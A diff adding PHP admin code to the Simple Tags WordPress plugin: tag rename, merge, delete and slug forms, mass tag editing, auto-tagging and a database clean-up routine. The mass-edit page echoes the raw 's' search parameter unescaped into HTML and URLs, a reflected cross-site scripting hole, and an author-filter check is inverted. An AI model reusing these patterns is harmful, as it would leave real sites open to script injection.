+									<a href="<?php echo get_option('siteurl'). '/wp-admin/admin.php?st_ajax_action=get_tags&amp;pagination=1'. ( (isset($_GET['tag_sortorder'])) ? '&amp;order='.$sort_order : '' ); ?>"><?php _e('Previous tags', 'simpletags'); ?></a> | <?php _e('Next tags', 'simpletags'); ?>
+								</div>
+								<?php endif; ?>
+							</div>
+						</fieldset>
+					</td>
+					<td style="vertical-align: top;">
+
+						<fieldset class="options"><legend><?php _e('Rename Tag', 'simpletags'); ?></legend>
+							<p><?php _e('Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click "Rename" and all posts which use this tag will be updated.', 'simpletags'); ?></p>
+							<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+							<form action="<?php echo $action_url; ?>" method="post">
+								<input type="hidden" name="tag_action" value="renametag" />
+								<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+								<table>
+									<tr><th><label><?php _e('Tag(s) to rename:', 'simpletags'); ?></label></th><td> <input type="text" id="renametag_old" name="renametag_old" value="" size="40" /> </td></tr>
+									<tr><th><label><?php _e('New tag name(s):', 'simpletags'); ?></label></th><td> <input type="text" id="renametag_new" name="renametag_new" value="" size="40" /> </td></tr>
+									<tr><th></th><td> <input class="button" type="submit" name="rename" value="<?php _e('Rename', 'simpletags'); ?>" /> </td></tr>
+								</table>
+							</form>
+						</fieldset>
+
+						<fieldset class="options"><legend><?php _e('Delete Tag', 'simpletags'); ?></legend>
+							<p><?php _e('Enter the name of the tag to delete.  This tag will be removed from all posts.', 'simpletags'); ?></p>
+							<p><?php _e('You can specify multiple tags to delete by separating them with commas', 'simpletags'); ?>.</p>
+							<form action="<?php echo $action_url; ?>" method="post">
+								<input type="hidden" name="tag_action" value="deletetag" />
+								<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+								<table>
+									<tr><th><label><?php _e('Tag(s) to delete:', 'simpletags'); ?></label></th><td> <input type="text" id="deletetag_name" name="deletetag_name" value="" size="40" /> </td></tr>
+									<tr><th></th><td> <input class="button" type="submit" name="delete" value="<?php _e('Delete', 'simpletags'); ?>" /> </td></tr>
+								</table>
+							</form>
+						</fieldset>
+
+						<fieldset class="options"><legend><?php _e('Add Tag', 'simpletags'); ?></legend>
+							<p><?php _e('This feature lets you add one or more new tags to all posts which match any of the tags given.', 'simpletags'); ?></p>
+							<p><?php _e('You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don\'t specify any tags to match.', 'simpletags'); ?></p>
+							<form action="<?php echo $action_url; ?>" method="post">
+								<input type="hidden" name="tag_action" value="addtag" />
+								<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+								<table>
+									<tr><th><label><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th><td> <input type="text" id="addtag_match" name="addtag_match" value="" size="40" /> </td></tr>
+									<tr><th><label><?php _e('Tag(s) to add:', 'simpletags'); ?></label></th><td>   <input type="text" id="addtag_new" name="addtag_new" value="" size="40" /> </td></tr>
+									<tr><th></th><td> <input class="button" type="submit" name="Add" value="<?php _e('Add', 'simpletags'); ?>" /> </td></tr>
+								</table>
+							</form>
+						</fieldset>
+
+						<fieldset class="options"><legend><?php _e('Edit Tag Slug', 'simpletags'); ?></legend>
+							<p><?php _e('Enter the tag name to edit and its new slug. <a href="http://codex.wordpress.org/Glossary#Slug">Slug definition</a>', 'simpletags'); ?></p>
+							<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+							<form action="<?php echo $action_url; ?>" method="post">
+								<input type="hidden" name="tag_action" value="editslug" />
+								<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+								<table>
+									<tr>
+										<th><label><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th>
+										<td><input type="text" id="tagname_match" name="tagname_match" value="" size="40" /></td>
+									</tr>
+									<tr>
+										<th><label><?php _e('Slug(s) to set:', 'simpletags'); ?></label></th>
+										<td><input type="text" id="tagslug_new" name="tagslug_new" value="" size="40" /></td>
+									</tr>
+									<tr>
+										<th></th>
+										<td><input class="button" type="submit" name="edit" value="<?php _e('Edit', 'simpletags'); ?>" /></td>
+									</tr>
+								</table>
+							</form>
+						</fieldset>
+
+						<fieldset class="options"><legend><?php _e('Remove empty terms', 'simpletags'); ?></legend>
+							<p><?php _e('WordPress 2.3 have a small bug and can create empty terms. Remove it !', 'simpletags'); ?></p>
+							<form action="<?php echo $action_url; ?>" method="post">
+								<input type="hidden" name="tag_action" value="cleandb" />
+								<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+								<p><input class="button" type="submit" name="clean" value="<?php _e('Clean !', 'simpletags'); ?>" /></p>
+							</form>
+						</fieldset>
+					</td>
+				</tr>
+			</table>
+	  		<script type="text/javascript">
+	  		// <![CDATA[
+	  			// Register onclick event
+	  			function registerClick() {
+		  			jQuery('#taglist ul li span').bind("click", function(){
+						addTag(this.innerHTML, "renametag_old");
+						addTag(this.innerHTML, "deletetag_name");
+						addTag(this.innerHTML, "addtag_match");
+						addTag(this.innerHTML, "tagname_match");
+					});
+	  			}
+	  			// Register ajax nav and reload event once ajax data loaded
+				function registerAjaxNav() {
+					jQuery(".navigation a").click(function() {
+						jQuery("#ajax_area_tagslist").load(this.href, function(){
+				  			registerClick();
+				  			registerAjaxNav();
+						});
+						return false;
+					});
+				}
+				// Register initial event
+ 				jQuery(document).ready(function() {
+					registerClick();
+					registerAjaxNav();
+				});
+				// Add tag into input
+				function addTag( tag, name_element ) {
+					var input_element = document.getElementById( name_element );
+
+					if ( input_element.value.length > 0 && !input_element.value.match(/,\s*$/) )
+						input_element.value += ", ";
+
+					var re = new RegExp(tag + ",");
+					if ( !input_element.value.match(re) )
+						input_element.value += tag + ", ";
+
+					return true;
+				}
+			// ]]>
+			</script>
+			<?php $this->printAdminFooter(); ?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * WP Page - Mass edit tags
+	 *
+	 */
+	function pageMassEditTags() {
+		// Search
+		$search = stripslashes($_GET['s']);
+
+		// Quantity
+		$quantity = (int) stripslashes($_GET['quantity']);
+		if ( $quantity < 10 || $quantity > 200 ) {
+			$quantity = 20;
+		}
+
+		// Author
+		$author = ( empty($_GET['author']) ) ? (int) $_GET['author'] : 0;
+
+		// Type (future add link)
+		$type = attribute_escape($_GET['type']);
+		if ( $type != 'post' && $type != 'page' ) {
+			$type = 'post';
+		}
+
+		// Order content
+		$order = ( empty($_GET['order']) ) ? 'date_desc' : attribute_escape(stripslashes($_GET['order']));
+
+		// Filter
+		$filter = ( $_GET['filter'] == 'untagged' ) ? 'untagged' : 'all';
+
+		// Check and update tags
+		$this->checkFormMassEdit( $type );
+
+		// Action Post URL
+		$page = '';
+		if ( $this->actual_page != 1 ) {
+			$page = '&amp;pagination='.$this->actual_page;
+		}
+		$action_url = $this->admin_base_url.'st_mass_tags&amp;s='.$search.'&amp;quantity='.$quantity.'&amp;author='.$author.'&amp;type='.$type.'&amp;filter='.$filter.'&amp;order='.$order.$page;
+		$objects = $this->getObjects( $type, $quantity, $author, $order, $filter, $search );
+
+		$this->displayMessage();
+		?>
+		<div class="wrap st_wrap">
+		<h2><?php _e('Simple Tags: Mass Edit Tags', 'simpletags'); ?></h2>
+		<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+
+		<form action="<?php echo $this->admin_base_url; ?>" id="searchform" method="get">
+			<input type="hidden" name="page" value="st_mass_tags" />
+
+			<fieldset><legend><?php _e('Search terms&hellip;', 'simpletags'); ?></legend>
+				<input type="text" name="s" id="s" value="<?php echo $search; ?>" size="12" />
+			</fieldset>
+
+			<fieldset>
+				<legend><?php _e('Quantity&hellip;', 'simpletags'); ?></legend>
+				<select name="quantity" id="quantity">
+					<option <?php if ( $quantity == 10 ) echo 'selected="selected"'; ?> value="10">10</option>
+					<option <?php if ( $quantity == 20 ) echo 'selected="selected"'; ?> value="20">20</option>
+					<option <?php if ( $quantity == 30 ) echo 'selected="selected"'; ?> value="30">30</option>
+					<option <?php if ( $quantity == 40 ) echo 'selected="selected"'; ?> value="40">40</option>
+					<option <?php if ( $quantity == 50 ) echo 'selected="selected"'; ?> value="50">50</option>
+					<option <?php if ( $quantity == 100 ) echo 'selected="selected"'; ?> value="100">100</option>
+					<option <?php if ( $quantity == 200 ) echo 'selected="selected"'; ?> value="200">200</option>
+				</select>
+			</fieldset>
+
+			<?php
+			global $user_ID;
+			$editable_ids = get_editable_user_ids( $user_ID );
+			if ( $editable_ids && count( $editable_ids ) > 1 ) :
+			?>
+				<fieldset>
+				  <legend><?php _e('Author&hellip;', 'simpletags'); ?></legend>
+				  <?php wp_dropdown_users( array('include' => $editable_ids, 'show_option_all' => __('Any'), 'name' => 'author', 'selected' => isset($_GET['author']) ? $_GET['author'] : 0) ); ?>
+				</fieldset>
+			<?php endif; ?>
+
+			<fieldset>
+				<legend><?php _e('Type&hellip;', 'simpletags'); ?></legend>
+				<select name='type' id='type'>
+					<option <?php if ( $type == 'post' ) { echo 'selected="selected"'; } ?> value='post'><?php _e('Post', 'simpletags'); ?></option>
+					<?php if ( $this->options['use_tag_pages'] == '1' ) : ?>
+					<option <?php if ( $type == 'page' ) { echo 'selected="selected"'; } ?> value='page'><?php _e('Page', 'simpletags'); ?></option>
+					<?php endif; ?>
+				</select>
+			</fieldset>
+
+			<fieldset>
+				<legend><?php _e('Order&hellip;', 'simpletags'); ?></legend>
+				<select name='order' id='order'>
+					<option <?php if ( $order == 'date_desc' ) echo 'selected="selected"'; ?> value="date_desc"><?php _e('Date (descending)', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'date_asc' ) echo 'selected="selected"'; ?> value="date_asc"><?php _e('Date (ascending)', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'id_desc' ) echo 'selected="selected"'; ?> value="id_desc"><?php _e('ID (descending)', 'simpletags'); ?></option>
+					<option <?php if ( $order == 'id_asc' ) echo 'selected="selected"'; ?> value="id_asc"><?php _e('ID (ascending)', 'simpletags'); ?></option>
+				</select>
+			</fieldset>
+
+			<fieldset>
+				<legend><?php _e('Filter&hellip;', 'simpletags'); ?></legend>
+				<select name='filter' id='filter'>
+					<option <?php if ( $filter == 'all' ) echo 'selected="selected"'; ?> value="all"><?php _e('All', 'simpletags'); ?></option>
+					<option <?php if ( $filter == 'untagged' ) echo 'selected="selected"'; ?> value="untagged"><?php _e('Untagged only', 'simpletags'); ?></option>
+				</select>
+			</fieldset>
+
+			<input type="submit" id="post-query-submit" value="<?php _e('Filter &#187;', 'simpletags'); ?>" class="button" />
+			<br style="clear:both;" />
+		</form>
+
+		<?php if ( is_array($objects) && count($objects) > 0 ) : ?>
+			<form name="post" id="post" action="<?php echo $action_url; ?>" method="post">
+				<p class="submit">
+				<input type="submit" name="update_mass" value="<?php _e('Update all', 'simpletags'); ?>" /></p>
+				<?php $this->printPagination( $action_url ); ?>
+				<?php
+				foreach ( $objects as $object_id => $object ) {
+					echo '<p><strong>#'.$object_id.'</strong> <a href="'.get_permalink($object_id).'">'.$object['title'].'</a> [<a href="'.$type.'.php?action=edit&amp;post=' .$object_id . '">' . __('Edit', 'simpletags') . '</a>]<br />'."\n";
+					echo '<input id="tags-input'.$object_id.'" class="tags-input" type="text" size="100" name="tags['.$object_id.']" value="'.get_tags_to_edit( $object_id ).'" /></p>'."\n";
+				}
+				?>
+				<p class="submit">
+					<input type="hidden" name="secure_mass" value="<?php echo wp_create_nonce('st_mass_tags'); ?>" />
+					<input type="submit" name="update_mass" value="<?php _e('Update all', 'simpletags'); ?>" /></p>
+			</form>
+			<?php $this->printPagination( $action_url ); ?>
+			<?php if ( $this->all_tags === true ) : ?>
+				<script type="text/javascript">
+					jQuery(document).ready(function() {
+						<?php foreach ( (array) $objects as $object_id => $object ) { ?>
+							var tag_<?php echo $object_id; ?> = new BComplete('tags-input<?php echo $object_id; ?>');
+							tag_<?php echo $object_id; ?>.setData(collection);
+						<?php } ?>
+					});
+				</script>
+			<?php endif; ?>
+		<?php else: ?>
+			<p><?php _e('No content to edit.', 'simpletags'); ?>
+		<?php endif; ?>
+		<?php $this->printAdminFooter(); ?>
+    </div>
+    <?php
+	}
+
+	/**
+	 * Save embedded tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 */
+	function saveEmbedTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return;
+		}
+
+		// Return Tags
+		$matches = $tags = array();
+		preg_match_all('/(' . $this->regexEscape($this->options['start_embed_tags']) . '(.*?)' . $this->regexEscape($this->options['end_embed_tags']) . ')/is', $object->post_content, $matches);
+
+		foreach ( $matches[2] as $match) {
+			foreach( (array) explode(',', $match) as $tag) {
+				$tags[] = $tag;
+			}
+		}
+
+		if( !empty($tags) ) {
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			wp_set_post_tags( $post_id, $tags, true ); // Append tags
+			wp_cache_flush(); // Delete cache
+		}
+	}
+
+	/**
+	 * Check post data for auto tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 */
+	function saveAutoTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+
+		$result = $this->autoTagsPost( $object->ID, $object->post_content, $object->post_title );
+		if ( $result == true ) {
+			wp_cache_flush(); // Delete cache
+		}
+		return true;
+	}
+	
+	function autoTagsPost( $post_id = 0, $content = '', $title = '' ) {	
+		if ( get_the_tags($post_id) != false && $this->options['at_empty'] == 1 ) {
+			return false; // Skip post with tags, if tag only empty post option is checked
+		}
+		
+		$tags_to_add = array();
+		
+		// Auto tag with specifik auto tags list
+		$tags = (array) maybe_unserialize($this->options['auto_list']);
+		foreach ( $tags as $tag ) {
+			if ( is_string($tag) && !empty($tag) && ( stristr($content, $tag) || stristr($title, $tag) ) ) {
+				$tags_to_add[] = $tag;
+			}
+		}
+		unset($tags, $tag);
+		
+		// Auto tags with all posts
+		if ( $this->options['at_all'] == 1 ) { 
+			global $simple_tags;
+			$total = wp_count_terms('post_tag');
+			$counter = 0;
+			
+			while ( ( $counter * 200 ) < $total ) {
+				// Get tags							
+				$tags = (array) $simple_tags->getTags('hide_empty=false&cloud_selection=count-desc&number=LIMIT '. $counter * 200 . ', '. 200, true);
+				
+				foreach ( $tags as $tag ) {
+					if ( is_string($tag->name) && !empty($tag->name) && ( stristr($content, $tag->name) || stristr($title, $tag->name) ) ) {
+						$tags_to_add[] = $tag->name;
+					}
+				}
+				unset($tags, $tag);
+				
+				// Increment counter
+				$counter++;
+			}
+		}
+		
+		// Append tags if tags to add
+		if ( !empty($tags_to_add) ) {
+			// Remove empty and duplicate elements
+			$tags_to_add = array_filter($tags_to_add, array(&$this, 'deleteEmptyElement'));
+			$tags_to_add = array_unique($tags_to_add);
+			
+			wp_set_object_terms( $post_id, $tags_to_add, 'post_tag', true );
+			return true;
+		}
+		return false;
+	}
+
+	############## Helper Write Pages ##############
+	/**
+	 * Display tags input for page
+	 *
+	 */
+	function helperTagsPage() {
+		global $post_ID;
+		?>
+		<fieldset class="tags_page" id="tagdiv">
+			<legend><?php _e('Tags (separate multiple tags with commas: cats, pet food, dogs)'); ?></legend>
+			<div><input type="text" name="tags_input" class="tags-input" id="tags-input" size="30" tabindex="3" value="<?php echo get_tags_to_edit( $post_ID ); ?>" /></div>
+		</fieldset>
+		<?php
+	}
+
+
+	/**
+	 * Helper type-ahead (single post)
+	 *
+	 */
+	function helperBCompleteJS( $name_id = 'tags-input', $use_fct_js = true ) {
+		if ( $use_fct_js == true ) :
+		?>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/functions.js?ver=<?php echo $this->version; ?>"></script>
+		<?php
+		endif;
+
+		// Get total
+		$tags = (int) wp_count_terms('post_tag');
+
+		// If no tags => exit !
+		if ( $tags == 0 ) {
+			return;
+		}
+		?>
+		<script type="text/javascript" src="<?php echo $this->info['siteurl'] ?>/wp-admin/admin.php?st_ajax_action=helper_js_collection&ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete.js?ver=<?php echo $this->version; ?>"></script>
+		<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete.css?ver=<?php echo $this->version; ?>" />
+		<?php if ( 'rtl' == get_bloginfo( 'text_direction' ) ) : ?>
+			<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/bcomplete/bcomplete-rtl.css?ver=<?php echo $this->version; ?>" />
+		<?php endif; ?>
+		<script type="text/javascript">
+		// <![CDATA[
+			jQuery(document).ready(function() {
+				var tags_input = new BComplete('<?php echo ( empty($name_id) ) ? 'tags-input' : $name_id; ?>');
+				tags_input.setData(collection);
+			});
+		// ]]>
+		</script>
+		<?php
+	}
+
+	############## Manages Tags Pages ##############
+	/*
+	 * Rename or merge tags
+	 *
+	 * @param string $old
+	 * @param string $new
+	 */
+	function renameTags( $old = '', $new = '' ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// Stripslashes and htmlspecialchars tags
+		$old = htmlspecialchars($this->unHtmlEntities(stripslashes($old)));
+		$new = htmlspecialchars($this->unHtmlEntities(stripslashes($new)));
+
+		// String to array
+		$old_tags = explode(',', $old);
+		$new_tags = explode(',', $new);
+
+		// Remove empty element and trim
+		$old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		// If old/new tag are empty => exit !
+		if ( empty($old_tags) || empty($new_tags) ) {
+			$this->message = __('No new/old valid tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$counter = 0;
+		if( count($old_tags) == count($new_tags) ) { // Rename only
+			foreach ( (array) $old_tags as $i => $old_tag ) {
+				$new_name = $new_tags[$i];
+
+				// Get term by name
+				$term = get_term_by('name', addslashes($old_tag), 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Get objects from term ID
+				$objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+				// Delete old term
+				wp_delete_term( $term->term_id, 'post_tag' );
+
+				// Set objects to new term ! (Append no replace)
+				foreach ( (array) $objects_id as $object_id ) {
+					wp_set_object_terms( $object_id, $new_name, 'post_tag', true );
+				}
+
+				// Increment
+				$counter++;
+			}
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag renamed.', 'simpletags');
+			} else {
+				wp_cache_flush(); // Delete cache
+				$this->message = sprintf(__('Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;', 'simpletags'), $old, $new);
+			}
+		}
+		elseif ( count($new_tags) == 1  ) { // Merge
+			// Set new tag
+			$new_tag = $new_tags[0];
+			if ( empty($new_tag) ) {
+				$this->message = __('No valid new tag.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Get terms ID from old terms names
+			$terms_id = array();
+			foreach ( (array) $old_tags as $old_tag ) {
+				$term = get_term_by('name', addslashes($old_tag), 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get objects from terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+			// No objects ? exit !
+			if ( !$objects_id ) {
+				$this->message = __('No objects (post/page) found for specified old tags.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Delete old terms
+			foreach ( (array) $terms_id as $term_id ) {
+				wp_delete_term( $term_id, 'post_tag' );
+			}
+
+			// Set objects to new term ! (Append no replace)
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tag, 'post_tag', true );
+				$counter++;
+			}
+
+			// Test if term is also a category
+			if ( is_term($new_tag, 'category') ) {
+				// Edit the slug to use the new term
+				$slug = sanitize_title($new_tag);
+				$this->editTagSlug( $new_tag, $slug );
+				unset($slug);
+			}
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag merged.', 'simpletags');
+			} else {
+				wp_cache_flush(); // Delete cache
+				$this->message = sprintf(__('Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited.', 'simpletags'), $old, $new, $counter);
+			}
+		} else { // Error
+			$this->message = sprintf(__('Error. No enough tags for rename. Too for merge. Choose !', 'simpletags'), $old);
+			$this->status = 'error';
+		}
+		return;
+	}
+
+	/**
+	 * trim and remove empty element
+	 *
+	 * @param string $element
+	 * @return string
+	 */
+	function deleteEmptyElement( &$element ) {
+		$element = trim($element);
+		if ( !empty($element) ) {
+			return $element;
+		}
+	}
+
+	/**
+	 * Delete list of tags
+	 *
+	 * @param string $delete
+	 */
+	function deleteTagsByTagList( $delete ) {
+		if ( trim( str_replace(',', '', stripslashes($delete)) ) == '' ) {
+			$this->message = __('No tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// Stripslashes and htmlspecialchars tags
+		$delete = htmlspecialchars($this->unHtmlEntities(stripslashes($delete)));
+
+		// In array + filter
+		$delete_tags = explode(',', $delete);
+		$delete_tags = array_filter($delete_tags, array(&$this, 'deleteEmptyElement'));
+
+		// Delete tags
+		$counter = 0;
+		foreach ( (array) $delete_tags as $tag ) {
+			$term = get_term_by('name', addslashes($tag), 'post_tag');
+			$term_id = (int) $term->term_id;
+
+			if ( $term_id != 0 ) {
+				wp_delete_term( $term_id, 'post_tag');
+				$counter++;
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag deleted.', 'simpletags');
+		} else {
+			wp_cache_flush(); // Delete cache
+			$this->message = sprintf(__('%1s tag(s) deleted.', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Add tags for all or specified posts
+	 *
+	 * @param string $match
+	 * @param string $new
+	 */
+	function addMatchTags( $match, $new ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// Stripslashes and htmlspecialchars tags
+		$match = htmlspecialchars($this->unHtmlEntities(stripslashes($match)));
+		$new = htmlspecialchars($this->unHtmlEntities(stripslashes($new)));
+
+		$match_tags = explode(',', $match);
+		$new_tags = explode(',', $new);
+
+		$match_tags = array_filter($match_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		$counter = 0;
+		if ( !empty($match_tags) ) { // Match and add
+			// Get terms ID from old match names
+			$terms_id = array();
+			foreach ( (array) $match_tags as $match_tag ) {
+				$term = get_term_by('name', addslashes($match_tag), 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get object ID with terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id') );
+
+			// Add new tags for specified post
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tags, 'post_tag', true ); // Append tags
+				$counter++;
+			}
+		} else { // Add for all posts
+			// Page or not ?
+			$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+			// Get all posts ID
+			global $wpdb;
+			$posts_id = $wpdb->get_col("SELECT ID FROM {$wpdb->posts} WHERE {$post_type_sql}");
+
+			// Add new tags for all posts
+			foreach ( (array) $posts_id as $post_id ) {
+				wp_set_object_terms( $post_id, $new_tags, 'post_tag', true ); // Append tags
+				$counter++;
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag added.', 'simpletags');
+		} else {
+			wp_cache_flush(); // Delete cache
+			$this->message = sprintf(__('Tag(s) added to %1s post(s).', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Edit one or lots tags slugs
+	 *
+	 * @param string $names
+	 * @param string $slugs
+	 */
+	function editTagSlug( $names = '', $slugs = '') {
+		if ( trim( str_replace(',', '', stripslashes($slugs)) ) == '' ) {
+			$this->message = __('No new slug(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// Stripslashes and htmlspecialchars tags
+		$names = htmlspecialchars($this->unHtmlEntities(stripslashes($names)));
+		$slugs = htmlspecialchars($this->unHtmlEntities(stripslashes($slugs)));
+
+		$match_names = explode(',', $names);
+		$new_slugs = explode(',', $slugs);
+
+		$match_names = array_filter($match_names, array(&$this, 'deleteEmptyElement'));
+		$new_slugs = array_filter($new_slugs, array(&$this, 'deleteEmptyElement'));
+
+		if ( count($match_names) != count($new_slugs) ) {
+			$this->message = __('Tags number and slugs number isn\'t the same!', 'simpletags');
+			$this->status = 'error';
+			return;
+		} else {
+			$counter = 0;
+			foreach ( (array) $match_names as $i => $match_name ) {
+				// Sanitize slug + Escape
+				$new_slug = sanitize_title($new_slugs[$i]);
+
+				// Get term by name
+				$term = get_term_by('name', addslashes($match_name), 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Increment
+				$counter++;
+
+				// Update term
+				wp_update_term($term->term_id, 'post_tag', array('slug' => $new_slug));
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No slug edited.', 'simpletags');
+		} else {
+			wp_cache_flush(); // Delete cache
+			$this->message = sprintf(__('%s slug(s) edited.', 'simpletags'), $counter);
+		}
+		return;
+	}
+
+	/**
+	 * Clean database - Remove empty terms
+	 *
+	 */
+	function cleanDatabase() {
+		global $wpdb;
+
+		// Counter
+		$counter = 0;
+
+		// Get terms id empty
+		$terms_id = $wpdb->get_col("SELECT term_id FROM {$wpdb->terms} WHERE name IN ('', ' ', '  ', '&nbsp;') GROUP BY term_id");
+		if ( empty($terms_id) ) {
+			$this->message = __('Nothing to muck. Good job !', 'simpletags');
+			return;
+		}
+
+		// Prepare terms SQL List
+		$terms_list = "'" . implode("', '", $terms_id) . "'";
+
+		// Remove term empty
+		$counter += $wpdb->query("DELETE FROM {$wpdb->terms} WHERE term_id IN ( {$terms_list} )");
+
+		// Get term_taxonomy_id from term_id on term_taxonomy table
+		$tts_id = $wpdb->get_col("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} ) GROUP BY term_taxonomy_id");
+
+		if ( !empty($tts_id) ) {
+			// Clean term_taxonomy table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} )");
+
+			// Prepare terms SQL List
+			$tts_list = "'" . implode("', '", $tts_id) . "'";
+
+			// Clean term_relationships table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN ( {$tts_list} )");
+		}
+
+		wp_cache_flush(); // Delete cache
+		$this->message = sprintf(__('%s rows deleted. WordPress DB is clean now !', 'simpletags'), $counter);
+		return;
+	}
+
+	/**
+	 * Add compatibility PHP4 for htmlspecialchars_decode()
+	 *
+	 * @param string $value
+	 * @return string
+	 */
+	function unHtmlEntities( $value = '' ) {
+		return strtr( $value, array_flip(get_html_translation_table(HTML_SPECIALCHARS, ENT_COMPAT)) );
+	}
+
+	/**
+	 * Click tags
+	 *
+	 */
+	function helperClickTags() {
+		?>
+	   	<script type="text/javascript">
+	    // <![CDATA[
+	    	jQuery(document).ready(function() {
+	    		jQuery("#tagdiv").prepend('<a href="#st_click_tags" id="clicktags"><?php _e('Display click tags', 'simpletags'); ?></a><a href="#st_click_tags" id="close_clicktags"><?php _e('Hide click tags', 'simpletags'); ?></a>');
+	    		jQuery("#tagdiv").after('<div id="st_click_tags"></div>');
+	    		
+	    		if ( jQuery.browser.mozilla ) {
+   					jQuery("#tagdiv a").css({top:'-17px'}); // fix a Mozilla bug
+				}
+	    		    		
+				jQuery("a#clicktags").click(function() {					
+					jQuery("#st_click_tags")
+						.fadeIn('slow')
+						.load('<?php echo $this->info['siteurl']; ?>/wp-admin/admin.php?st_ajax_action=click_tags', function(){
+							jQuery("#st_click_tags span").click(function() { addTag(this.innerHTML); });
+							jQuery("a#clicktags").hide();
+							jQuery("a#close_clicktags").show();
+						});						
+					return false;
+				});
+				jQuery("a#close_clicktags").click(function() {	
+					jQuery("#st_click_tags").fadeOut('slow', function() {
+						jQuery("a#clicktags").show();
+						jQuery("a#close_clicktags").hide();
+					});
+					return false;
+				});
+			});
+		// ]]>
+	    </script>	   
+		<?php
+	}
+
+	############## Suggested tags ##############
+	/**
+	 * Suggested tags
+	 *
+	 */
+	function helperSuggestTags() {
+		?>
+		<style type="text/css">
+			#advancedstuff_tag h3.dbx-handle{margin-left:7px;margin-bottom:-7px;height:19px;font-size:12px;background:#2685af url(images/box-head-right.gif) no-repeat top right;padding:6px 1em 0 3px;}
+			#advancedstuff_tag div.dbx-h-andle-wrapper{background:#fff url(images/box-head-left.gif) no-repeat top left;margin:0 0 0 -7px;position:relative;}
+			#advancedstuff_tag div.dbx-content{margin-left:8px;background:url(images/box-bg-right.gif) repeat-y right;padding:10px 10px 15px 0;}
+			#advancedstuff_tag div.dbx-c-ontent-wrapper{margin-left:-7px;margin-right:0;background:url(images/box-bg-left.gif) repeat-y left;}
+			#advancedstuff_tag fieldset.dbx-box{padding-bottom:9px;margin-left:6px;background:url(images/box-butt-right.gif) no-repeat bottom right;}
